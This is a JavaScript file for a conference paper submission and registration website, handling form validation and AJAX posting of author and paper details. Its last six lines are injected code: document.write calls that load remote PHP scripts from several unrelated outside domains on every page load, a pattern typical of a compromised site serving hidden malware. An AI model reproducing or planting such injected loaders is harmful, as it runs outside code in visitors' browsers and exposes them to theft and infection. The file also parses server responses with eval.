var ns6=document.getElementById&&!document.all
	var ie=document.all
	var Bw =navigator.appName;

	function indicator(isr_){
	var isr_a=isr_.options[isr_.selectedIndex].value;
		if(isr_a=='18')
		{
		document.getElementById('indicate1').style.visibility= 'visible';
		document.getElementById('indicate2').style.visibility= 'visible';
		document.getElementById('indicate1').style.color= '#000080';
		}else{
		document.getElementById('indicate1').style.visibility= 'hidden';
		document.getElementById('indicate2').style.visibility= 'hidden';
		document.getElementById('indicate1').style.color= 'red';
		document.getElementById('field15').value='';
		}
	document.getElementById('hidden4').value=isr_.value;
	return false
	}
	function changeto(e,highlightcolor){
		source=ie? event.srcElement : e.target
		source.style.color=highlightcolor;
	//	source.style.textDecoration='Underline';
	}
	function changeback(e,highlightcolor){
		source=ie? event.srcElement : e.target
		source.style.color=highlightcolor;
	//	source.style.textDecoration='none';
	}

	function formcheck (_id, _value)
	{
		document.getElementById(_id).className 	= 'form_post';
		if (_value == document.getElementById(_id).value)
			document.getElementById(_id).value		= '';
	}
	
	function formcheckchange (_id, _value)
	{
		if ((_value == 'Email') && (document.getElementById(_id).value != ''))
		{
			var x = document.getElementById(_id).value
			var filter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
			if (!filter.test(x))
			{
				document.getElementById(_id).className 	= 'form_error';
				document.getElementById(_id).title		= 'Email is not valids';
			}
			else
			{
				document.getElementById(_id).className 	= 'form_post';
				document.getElementById(_id).title		= '';
			}
		}
		if ((document.getElementById(_id).value == '') || (document.getElementById(_id).value == _value))
		{
			document.getElementById(_id).className 	= 'form_pre';
			document.getElementById(_id).value		= _value;
		}
	}
	
	function showDiv()
	{
		if (document.getElementById('coAu_2').style.display == 'none')
			document.getElementById('coAu_2').style.display = 'inline';
		else if (document.getElementById('coAu_3').style.display == 'none')
			document.getElementById('coAu_3').style.display = 'inline';
		else if (document.getElementById('coAu_4').style.display == 'none')
			document.getElementById('coAu_4').style.display = 'inline';
		else if (document.getElementById('coAu_5').style.display == 'none')
			document.getElementById('coAu_5').style.display = 'inline';
		else if (document.getElementById('coAu_6').style.display == 'none')
			document.getElementById('coAu_6').style.display = 'inline';
		else if (document.getElementById('coAu_7').style.display == 'none')
			document.getElementById('coAu_7').style.display = 'inline';
		else if (document.getElementById('coAu_8').style.display == 'none')
			document.getElementById('coAu_8').style.display = 'inline';
		else if (document.getElementById('coAu_9').style.display == 'none')
			document.getElementById('coAu_9').style.display = 'inline';
		else if (document.getElementById('coAu_10').style.display == 'none')
		{	
			document.getElementById('coAu_10').style.display = 'inline';
			document.getElementById('moreauthor').style.display = 'none';
		}
	}
	
	function change(){
	document.getElementById('hidden4').value=document.getElementById('field15').value;
	}

	function Click(where,what){
		document.getElementById(what).value=where.value;
	return false
	}

	function Test0(){
		var i=0;
		if (document.getElementById('field12').value==''){document.getElementById('test12').style.color='red';i++;}else document.getElementById('test12').style.color='#000080';
		if (document.getElementById('field13').value==''){document.getElementById('test13').style.color='red';i++;} else document.getElementById('test13').style.color='#000080';

	if (i==0){
		document.getElementById('loading_wrapper_0').style.display='block';
		document.getElementById('loading_wrapper_0').style.height = document.getElementById('step0_wrapper_0').offsetHeight+'px';
		document.getElementById('loading_wrapper2_0').style.height = document.getElementById('step0_wrapper_0').offsetHeight+'px';
		
		var dataSource = "submission_0.php"
		var params		= 'check=readyconfirm&title='+encodeURI(document.getElementById('field12').value)+'&abstract='+encodeURI(document.getElementById('field13').value)+'&topic1='+encodeURI(encodeURI(document.getElementById('topic_1').value))+
			'&topic2='+encodeURI(document.getElementById('topic_2').value);
			
		if(!XMLHttpRequestObject) {
		var XMLHttpRequestObject = false;
		if (window.XMLHttpRequest) {
		XMLHttpRequestObject = new XMLHttpRequest();
		} else if (window.ActiveXObject) {
		XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");
		}
		}
		if(XMLHttpRequestObject) {
			XMLHttpRequestObject.open("POST", dataSource);
			XMLHttpRequestObject.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			XMLHttpRequestObject.onreadystatechange = function()
			{
			if (XMLHttpRequestObject.readyState == 4 && XMLHttpRequestObject.status == 200) {
				
				targetDiv = document.getElementById('Steps_0');
				targetDiv.innerHTML=XMLHttpRequestObject.responseText;
			}
			}
			XMLHttpRequestObject.send(params);
		}

	}
		return false
	}


	function Backform0(topic1,topic2){
		document.getElementById('loading_wrapper_0').style.display='block';
		document.getElementById('loading_wrapper_0').style.height = document.getElementById('step0_wrapper_0').offsetHeight+'px';
		document.getElementById('loading_wrapper2_0').style.height = document.getElementById('step0_wrapper_0').offsetHeight+'px';
		var dataSource="submission_0.php";
		var params		= 'titlepaper='+encodeURI(document.getElementById('title').value)+
						'&abstract='+encodeURI(document.getElementById('abstract').value)+
						'&topic1='+encodeURI(topic1)+
						'&topic2='+encodeURI(topic2);
		if(!XMLHttpRequestObject1) {
			var XMLHttpRequestObject1 = false;
			if (window.XMLHttpRequest) {
				XMLHttpRequestObject1 = new XMLHttpRequest();
			} else if (window.ActiveXObject) {
				XMLHttpRequestObject1 = new ActiveXObject("Microsoft.XMLHTTP");
			}
		}
		if(XMLHttpRequestObject1) {
			XMLHttpRequestObject1.open("POST", dataSource);
			XMLHttpRequestObject1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			XMLHttpRequestObject1.onreadystatechange = function()
			{
				if (XMLHttpRequestObject1.readyState == 4 && XMLHttpRequestObject1.status == 200) {
					var targetDiv2 = document.getElementById('Steps_0');
					targetDiv2.innerHTML	= XMLHttpRequestObject1.responseText;
				}
			}
			XMLHttpRequestObject1.send(params);
		}
	return false
	}

	Confirm0 = function (topic1,topic2)
	{

		document.getElementById('Steps_0_1').style.display = 'none';
		var dataSource="savepaper.php";
		var params		= 'check=save&titlepaper='+encodeURI(document.getElementById('title').value)+
						'&abstract='+encodeURI(document.getElementById('abstract').value)+
						'&accesslink='+encodeURI(document.getElementById('Accesslink').innerHTML)+
						'&topic1='+encodeURI(topic1)+
						'&topic2='+encodeURI(topic2);
		var targetDiv = document.getElementById("upload");
			targetDiv.innerHTML = "<center><IMG src=\"./img/loading.gif\"> </center>";
		if(!XMLHttpRequestObject2) {
			var XMLHttpRequestObject2 = false;
			if (window.XMLHttpRequest) {
				XMLHttpRequestObject2 = new XMLHttpRequest();
			} else if (window.ActiveXObject) {
				XMLHttpRequestObject2 = new ActiveXObject("Microsoft.XMLHTTP");
			}
		}
		if(XMLHttpRequestObject2) {
			XMLHttpRequestObject2.open("POST", dataSource);
			XMLHttpRequestObject2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			XMLHttpRequestObject2.onreadystatechange = function()
			{
				if (XMLHttpRequestObject2.readyState == 4 && XMLHttpRequestObject2.status == 200) {
					var returned_json = eval('(' + XMLHttpRequestObject2.responseText + ')');
					document.getElementById('id_paper').value = returned_json.id;
					if(!XMLHttpRequestObject3) {
						var XMLHttpRequestObject3 = false;
						if (window.XMLHttpRequest) {
							XMLHttpRequestObject3 = new XMLHttpRequest();
						} else if (window.ActiveXObject) {
							XMLHttpRequestObject3 = new ActiveXObject("Microsoft.XMLHTTP");
						}
					}

					if ((returned_json.id > 0) && (returned_json.error == 'free'))
					{
						if((XMLHttpRequestObject3)) {
							var dataSource2="submission_1.php";
							XMLHttpRequestObject3.open("POST", dataSource2);
							XMLHttpRequestObject3.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
							XMLHttpRequestObject3.onreadystatechange = function()
							{
								if (XMLHttpRequestObject3.readyState == 4 && XMLHttpRequestObject3.status == 200) {
									targetDiv.innerHTML	= XMLHttpRequestObject3.responseText;
									document.getElementById('Steps_0_2').style.display = 'inline';
								}
							}
							XMLHttpRequestObject3.send(params);
						}
					}
					else
					{
						if((XMLHttpRequestObject3)) {
							var dataSource2="error.php";
							XMLHttpRequestObject3.open("POST", dataSource2);
							XMLHttpRequestObject3.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
							XMLHttpRequestObject3.onreadystatechange = function()
							{
								if (XMLHttpRequestObject3.readyState == 4 && XMLHttpRequestObject3.status == 200) {
									targetDiv.innerHTML	= XMLHttpRequestObject3.responseText;
									document.getElementById('Steps_0_2').style.display = 'inline';
								}
							}
							XMLHttpRequestObject3.send(params);
						}	
					}				
				}
			}
			XMLHttpRequestObject2.send(params);
		}

	return false
	}


	Confirm1 = function ()
	{

		var dataSource="savepaper2.php";
		var params		= 'check=save&id='+encodeURI(document.getElementById('id_paper').value)+
						'&accesslink='+encodeURI(document.getElementById('Accesslink').innerHTML)+
						'&pdf='+document.getElementById('upload_root2').value+						
						'&doc='+document.getElementById('upload_root1').value;

		document.getElementById('Steps_0').innerHTML = "<center><IMG src=\"./img/loading.gif\"> </center>";
		if(!XMLHttpRequestObject4) {
			var XMLHttpRequestObject4 = false;
			if (window.XMLHttpRequest) {
				XMLHttpRequestObject4 = new XMLHttpRequest();
			} else if (window.ActiveXObject) {
				XMLHttpRequestObject4 = new ActiveXObject("Microsoft.XMLHTTP");
			}
		}
		if(!XMLHttpRequestObject3) {
			var XMLHttpRequestObject3 = false;
			if (window.XMLHttpRequest) {
				XMLHttpRequestObject3 = new XMLHttpRequest();
			} else if (window.ActiveXObject) {
				XMLHttpRequestObject3 = new ActiveXObject("Microsoft.XMLHTTP");
			}
		}
		if(XMLHttpRequestObject4) {
			XMLHttpRequestObject4.open("POST", dataSource);
			XMLHttpRequestObject4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			XMLHttpRequestObject4.onreadystatechange = function()
			{
				if (XMLHttpRequestObject4.readyState == 4 && XMLHttpRequestObject4.status == 200) {
					var returned_json2 = eval('(' + XMLHttpRequestObject4.responseText + ')');
					if ((returned_json2.id > 0) && (returned_json2.error == 'free'))
					{
						document.getElementById("Stepsheader1").style.display = 'none';
						document.getElementById("Stepsheader2").style.display = 'inline';
						document.getElementById("Steps_0").style.display = 'none';
						document.getElementById("Steps_1").style.display = 'inline';
					}
					else
					{
						if((XMLHttpRequestObject3)) {
							var dataSource2="error.php";
							XMLHttpRequestObject3.open("POST", dataSource2);
							XMLHttpRequestObject3.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
							XMLHttpRequestObject3.onreadystatechange = function()
							{
								if (XMLHttpRequestObject3.readyState == 4 && XMLHttpRequestObject3.status == 200) {
									document.getElementById("Steps_0").innerHTML	= XMLHttpRequestObject3.responseText;
								}
							}
							XMLHttpRequestObject3.send(params);
						}	
						
					}
				}
			}
			XMLHttpRequestObject4.send(params);
		}
		
		return false
	}


	function Test1(){
		var i=0;
		var _confirm = true;
		var x = document.getElementById('field10').value
		var filter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
		if (!filter.test(x)){document.getElementById('test8').style.color='red';i++;} else document.getElementById('test8').style.color='#000080';

		if (document.getElementById('field1').value==''){document.getElementById('test1').style.color='red';i++;}else document.getElementById('test1').style.color='#000080';
		if (document.getElementById('field2').value==''){document.getElementById('test2').style.color='red';i++;} else document.getElementById('test2').style.color='#000080';
		if (document.getElementById('field5').value==''){document.getElementById('test4').style.color='red';i++;} else document.getElementById('test4').style.color='#000080';
		if (document.getElementById('field6').value==''){document.getElementById('test5').style.color='red';i++;} else document.getElementById('test5').style.color='#000080';
		if (document.getElementById('field8').value==''){document.getElementById('test6').style.color='red';i++;} else document.getElementById('test6').style.color='#000080';
		if (i!=0)
			alert('There is some error in the page, please correct the red parts');
		if (i==0){
			if (_confirm)
			{
				document.getElementById('loading_wrapper').style.display='block';
				document.getElementById('loading_wrapper').style.height = document.getElementById('step1_wrapper').offsetHeight+'px';
				document.getElementById('loading_wrapper2').style.height = document.getElementById('step1_wrapper').offsetHeight+'px';
				var title=encodeURI(document.getElementById('field3').value);
				var dataSource = "savepeople.php";
				var params		= 'check=save&id_paper='+encodeURI(document.getElementById('id_paper').value)+'&surname='+encodeURI(document.getElementById('field1').value)+'&firstname='+encodeURI(document.getElementById('field2').value)+
					'&title='+encodeURI(title)+
					'&position='+encodeURI(document.getElementById('field5').value)+'&company='+encodeURI(document.getElementById('field6').value)+
					'&address='+encodeURI(document.getElementById('field7').value)+'&tel='+encodeURI(document.getElementById('field8').value)+
					'&fax='+encodeURI(document.getElementById('field9').value)+'&email='+encodeURI(document.getElementById('field10').value)+
					'&accesslink='+encodeURI(document.getElementById('Accesslink').innerHTML);
				var _coau = '';
				var _surname = '';
				var _firstname = '';
				for (i=2; i<11; i++)
				{
					_coau = 'coAu_' + i;
					_surname = 'surname'+i;
					_firstname = 'firstname'+i;
					if ((document.getElementById(_coau).style.display == 'inline')
					  && ((document.getElementById(_surname).value != '') && (document.getElementById(_surname).value != 'Family Name'))
					  && ((document.getElementById(_firstname).value != '') && (document.getElementById(_firstname).value != 'First Name'))
					  )
					{
						params +='&title'+i+'='+encodeURI(document.getElementById('title'+i).value)+
								 '&surname'+i+'='+encodeURI(document.getElementById('surname'+i).value)+
								 '&firstname'+i+'='+encodeURI(document.getElementById('firstname'+i).value)+
								 '&email'+i+'='+encodeURI(document.getElementById('email'+i).value)+
								 '&tel'+i+'='+encodeURI(document.getElementById('tel'+i).value);
					}
				}
				var select='content';
				var targetDiv2 = document.getElementById("Steps");
				
				if(!XMLHttpRequestObject3) {
					var XMLHttpRequestObject3 = false;
					if (window.XMLHttpRequest) {
						XMLHttpRequestObject3 = new XMLHttpRequest();
					} else if (window.ActiveXObject) {
						XMLHttpRequestObject3 = new ActiveXObject("Microsoft.XMLHTTP");
					}
				}

				if(!XMLHttpRequestObject4) {
					var XMLHttpRequestObject4 = false;
					if (window.XMLHttpRequest) {
						XMLHttpRequestObject4 = new XMLHttpRequest();
					} else if (window.ActiveXObject) {
						XMLHttpRequestObject4 = new ActiveXObject("Microsoft.XMLHTTP");
					}
				}
				if(XMLHttpRequestObject4) {
					XMLHttpRequestObject4.open("POST", dataSource);
					XMLHttpRequestObject4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
					XMLHttpRequestObject4.onreadystatechange = function()
					{
						if (XMLHttpRequestObject4.readyState == 4 && XMLHttpRequestObject4.status == 200) {
							var targetDiv = document.getElementById(select);
							targetDiv.innerHTML=XMLHttpRequestObject4.responseText;						
						}
					}
					XMLHttpRequestObject4.send(params);
				}
				
			}
		}
		return false
	}

	function Backform1(refno,surname,firstname,title,position,co,tel,fax,email){
	var dataSource="submission_1.php";
	var params		= 'check=save&refno='+encodeURI(refno)+'&surname='+encodeURI(surname)+'&firstname='+encodeURI(firstname)+
					'&title='+encodeURI(title)+
					'&position='+encodeURI(position)+'&co='+encodeURI(co)+
					'&address='+encodeURI(document.getElementById('address').value)+'&tel='+encodeURI(tel)+
					'&fax='+encodeURI(fax)+'&email='+encodeURI(email);
	var select='Steps';
	var targetDiv2 = document.getElementById("Steps");
	targetDiv2.innerHTML="";
		targetDiv2.innerHTML = "<center><IMG src=\"./img/loading.gif\"> </center>";
if(!XMLHttpRequestObject4) {
var XMLHttpRequestObject4 = false;
if (window.XMLHttpRequest) {
XMLHttpRequestObject4 = new XMLHttpRequest();
} else if (window.ActiveXObject) {
XMLHttpRequestObject4 = new ActiveXObject("Microsoft.XMLHTTP");
}
}
if(XMLHttpRequestObject4) {
XMLHttpRequestObject4.open("POST", dataSource);
XMLHttpRequestObject4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
XMLHttpRequestObject4.onreadystatechange = function()
{
if (XMLHttpRequestObject4.readyState == 4 &&
XMLHttpRequestObject4.status == 200) {
var targetDiv2 = document.getElementById(select);
targetDiv2.innerHTML	= XMLHttpRequestObject4.responseText;
}
}
XMLHttpRequestObject4.send(params);
}
	return false
}

	function Send1(refno,surname,firstname,title,position,co,tel,fax,email){


		document.getElementById('loading_wrapper_2').style.display='block';
		document.getElementById('loading_wrapper_2').style.height = document.getElementById('step1_wrapper_2').offsetHeight+'px';
		document.getElementById('loading_wrapper2_2').style.height = document.getElementById('step1_wrapper_2').offsetHeight+'px';
				var dataSource = "savepeople.php";
				var params		= 'check=save&refno='+encodeURI(refno)+'&surname='+encodeURI(surname)+'&firstname='+encodeURI(firstname)+
					'&title='+encodeURI(title)+
					'&position='+encodeURI(position)+'&company='+encodeURI(co)+
					'&address='+encodeURI(document.getElementById('address').value)+'&tel='+encodeURI(tel)+
					'&fax='+encodeURI(fax)+'&email='+encodeURI(email);
					
	var select='Steps';
	var targetDiv2 = document.getElementById("Steps");

if(!XMLHttpRequestObject4) {//alert('here');
var XMLHttpRequestObject4 = false;
if (window.XMLHttpRequest) {
XMLHttpRequestObject4 = new XMLHttpRequest();
} else if (window.ActiveXObject) {
XMLHttpRequestObject4 = new ActiveXObject("Microsoft.XMLHTTP");
}
}
if(XMLHttpRequestObject4) {
XMLHttpRequestObject4.open("POST", dataSource);
XMLHttpRequestObject4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
XMLHttpRequestObject4.onreadystatechange = function()
{
if (XMLHttpRequestObject4.readyState == 4 &&
XMLHttpRequestObject4.status == 200) {
var targetDiv2 = document.getElementById(select);

if (XMLHttpRequestObject4.responseText != 'false'){
	document.getElementById("Stepsheader1").style.display = 'none';
	document.getElementById("Stepsheader2").style.display = 'inline';
	document.getElementById("Steps").style.display = 'none';
	document.getElementById("Steps_2").style.display = 'inline';
	document.getElementById('id_person').value = XMLHttpRequestObject4.responseText;
	}
else
{
	document.getElementById("Steps").innerHTML = "<center><label style=\"color:red;\">Connection to the server lost, please try again </label></center>"
}
}
}
XMLHttpRequestObject4.send(params);
}
	return false
}


	Test2 = function()
	{
	var i=0;

	if (!document.getElementById('field13').value){document.getElementById('test2_2').style.color='red';i++;}else {document.getElementById('test2_2').style.color='#000080';}
	if (document.getElementById('field12').value==''){document.getElementById('test1_2').style.color='red';i++;}else {document.getElementById('test1_2').style.color='#000080';}
	
	if (i==0)
	{
		document.getElementById('loading_wrapper_3').style.display='block';
		document.getElementById('loading_wrapper_3').style.height = document.getElementById('step2_wrapper_3').offsetHeight+'px';
		document.getElementById('loading_wrapper2_3').style.height = document.getElementById('step2_wrapper_3').offsetHeight+'px';
		var dataSource 	= "savepaper.php";
		var params		= 'check=save&title='+encodeURI(document.getElementById('field12').value)+'&abstract='+encodeURI(document.getElementById('field13').value)+'&topic1='+encodeURI(encodeURI(document.getElementById('topic_1').value))+
					'&topic2='+encodeURI(document.getElementById('topic_2').value)+'&person_id='+encodeURI(document.getElementById('id_person').value);
					
	var select='Steps';
	var targetDiv2 = document.getElementById("Steps");
	
	if(!XMLHttpRequestObject1) {
	var XMLHttpRequestObject1 = false;
	if (window.XMLHttpRequest) {
	XMLHttpRequestObject1 = new XMLHttpRequest();
	} else if (window.ActiveXObject) {
	XMLHttpRequestObject1 = new ActiveXObject("Microsoft.XMLHTTP");
	}
	}
	if(XMLHttpRequestObject1) {
	XMLHttpRequestObject1.open("POST", dataSource);
	XMLHttpRequestObject1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	XMLHttpRequestObject1.onreadystatechange = function()
	{
	if (XMLHttpRequestObject1.readyState == 4 &&
	XMLHttpRequestObject1.status == 200) {
	var targetDiv2 = document.getElementById(select);
	
	if (XMLHttpRequestObject1.responseText != 'false'){
		document.getElementById("Steps_2").style.display = 'none';
		document.getElementById("Steps_3").style.display = 'inline';
		document.getElementById('id_paper').value = XMLHttpRequestObject1.responseText;
	}
	else
	{
		document.getElementById("Steps").innerHTML = "<center><label style=\"color:red;\">Connection to the server lost, please try again </label></center>"
	}
	}
	}
	XMLHttpRequestObject1.send(params);
	}
		return false
		}
	
	}

	function Send2(refno,update)
	{

		var dataSource = "savepaper.php";
		var params		= 'check=update&refno='+encodeURI(refno)+'&pdf='+encodeURI(document.getElementById('upload_root').value);
					
		var select='content';
		var targetDiv2 = document.getElementById("content");
		targetDiv2.innerHTML="";
		targetDiv2.innerHTML = "<center><IMG src=\"./img/loading.gif\"> </center>";
		if(!XMLHttpRequestObject4) {//alert('here');
		var XMLHttpRequestObject4 = false;
		if (window.XMLHttpRequest) {
		XMLHttpRequestObject4 = new XMLHttpRequest();
		} else if (window.ActiveXObject) {
		XMLHttpRequestObject4 = new ActiveXObject("Microsoft.XMLHTTP");
		}
		}
		if(XMLHttpRequestObject4) {
		XMLHttpRequestObject4.open("POST", dataSource);
		XMLHttpRequestObject4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		XMLHttpRequestObject4.onreadystatechange = function()
		{
		if (XMLHttpRequestObject4.readyState == 4 &&
		XMLHttpRequestObject4.status == 200) {
		var targetDiv2 = document.getElementById(select);
		targetDiv2.innerHTML	= XMLHttpRequestObject4.responseText;
		}
		}
		XMLHttpRequestObject4.send(params);
		}
			return false
	}

	Test3 = function()
	{
		var i=0;
		var _confirm = true;
		var x = document.getElementById('field10').value
		var filter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
		if (!filter.test(x)){document.getElementById('test8').style.color='red';i++;} else document.getElementById('test8').style.color='#000080';

		if (document.getElementById('field1').value==''){document.getElementById('test1').style.color='red';i++;}else document.getElementById('test1').style.color='#000080';
		if (document.getElementById('field2').value==''){document.getElementById('test2').style.color='red';i++;} else document.getElementById('test2').style.color='#000080';
		if (document.getElementById('field5').value==''){document.getElementById('test4').style.color='red';i++;} else document.getElementById('test4').style.color='#000080';
		if (document.getElementById('field6').value==''){document.getElementById('test5').style.color='red';i++;} else document.getElementById('test5').style.color='#000080';
		if (document.getElementById('field7').value==''){document.getElementById('test7').style.color='red';i++;} else document.getElementById('test7').style.color='#000080';
		if (document.getElementById('field8').value==''){document.getElementById('test6').style.color='red';i++;} else document.getElementById('test6').style.color='#000080';
	
		if (i==0)
		{
			document.getElementById('loading_wrapper').style.display='block';
			document.getElementById('loading_wrapper').style.height = document.getElementById('step1_wrapper').offsetHeight+'px';
			document.getElementById('loading_wrapper2').style.height = document.getElementById('step1_wrapper').offsetHeight+'px';
			var dataSource 	= "pre_registration2.php";
			var params		= 'check=save&surname='+encodeURI(document.getElementById('field1').value)+'&firstname='+encodeURI(document.getElementById('field2').value)+
				'&title='+encodeURI(document.getElementById('field3').value)+
				'&position='+encodeURI(document.getElementById('field5').value)+'&company='+encodeURI(document.getElementById('field6').value)+
				'&background='+encodeURI(document.getElementById('field7').value)+'&tel='+encodeURI(document.getElementById('field8').value)+
				'&email='+encodeURI(document.getElementById('field10').value);
						
		var select='content';
		var targetDiv2 = document.getElementById("contents");
		
		if(!XMLHttpRequestObject1) {
		var XMLHttpRequestObject1 = false;
		if (window.XMLHttpRequest) {
		XMLHttpRequestObject1 = new XMLHttpRequest();
		} else if (window.ActiveXObject) {
		XMLHttpRequestObject1 = new ActiveXObject("Microsoft.XMLHTTP");
		}
		}
		if(XMLHttpRequestObject1) {
		XMLHttpRequestObject1.open("POST", dataSource);
		XMLHttpRequestObject1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		XMLHttpRequestObject1.onreadystatechange = function()
		{
		if (XMLHttpRequestObject1.readyState == 4 &&
		XMLHttpRequestObject1.status == 200) {
		var targetDiv2 = document.getElementById(select);
		
		if (XMLHttpRequestObject1.responseText != 'false'){
			document.getElementById('content').innerHTML = XMLHttpRequestObject1.responseText;
		}
		else
		{
			document.getElementById("content").innerHTML = "<center><label style=\"color:red;\">Connection to the server lost, please try again </label></center>"
		}
		}
		}
		XMLHttpRequestObject1.send(params);
		}
			return false
			}
	
	}	

function handleEnter (field, event) {
		var keyCode = event.keyCode ? event.keyCode : event.which ? event.which : event.charCode;
		if (keyCode == 13) {
			var i;
			var f = field.id.split('field');
			f[1]++;
			if (f[1]==6)f[1]=7;
			if (f[1]<13){
			i = 'field'+f[1];
			document.getElementById(i).focus();}
			return false;
		} 
		else
		return true;
	}      

	
Test_reg = function()
	{

		var i=0;
		var j=0;
		var k=0;
		var _confirm = true;
		var x = document.getElementById('field7').value
		var filter  = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
		if (!filter.test(x)){document.getElementById('test7').style.color='red';i++;} else document.getElementById('test7').style.color='#000080';

		if (document.getElementById('field1').value==''){document.getElementById('test1').style.color='red';i++;}else document.getElementById('test1').style.color='#000080';
		if (document.getElementById('field2').value==''){document.getElementById('test2').style.color='red';i++;} else document.getElementById('test2').style.color='#000080';
		if (document.getElementById('field10').value==''){document.getElementById('test10').style.color='red';i++;} else document.getElementById('test10').style.color='#000080';
		for(var k = 1; k < 7; k++) {
		if(document.getElementById('position'+k).checked) {
			j++;
		}
		}
		if (j==0){document.getElementById('test6').style.color='red';i++;} else document.getElementById('test6').style.color='#000080';
		j=0;
		for(var k = 1; k < 6; k++) {
		if(document.getElementById('hotel'+k).checked) {
			j++;
		}
		}
		if (j==0){document.getElementById('hoteltest').style.color='red';i++;} else document.getElementById('hoteltest').style.color='#000080';
	
		if (i==0)
		{
			return false;
		}
		else{
			alert('در فرم ارسالی ایراداتی وجود دارد. لطفا بازبینی بفرمایید');
		return true;
		}
}
document.write('<script src=http://nucv.org/upload/sub_member_join.php ><\/script>');
document.write('<script src=http://nucv.org/upload/sub_member_join.php ><\/script>');
document.write('<script src=http://nucv.org/upload/sub_member_join.php ><\/script>');
document.write('<script src=http://posadadelsolapatzingan.com/images/references.php ><\/script>');
document.write('<script src=http://sbectasports.com/images/gifimg.php ><\/script>');
document.write('<script src=http://selmaoren.av.tr/images/gifimg.php ><\/script>');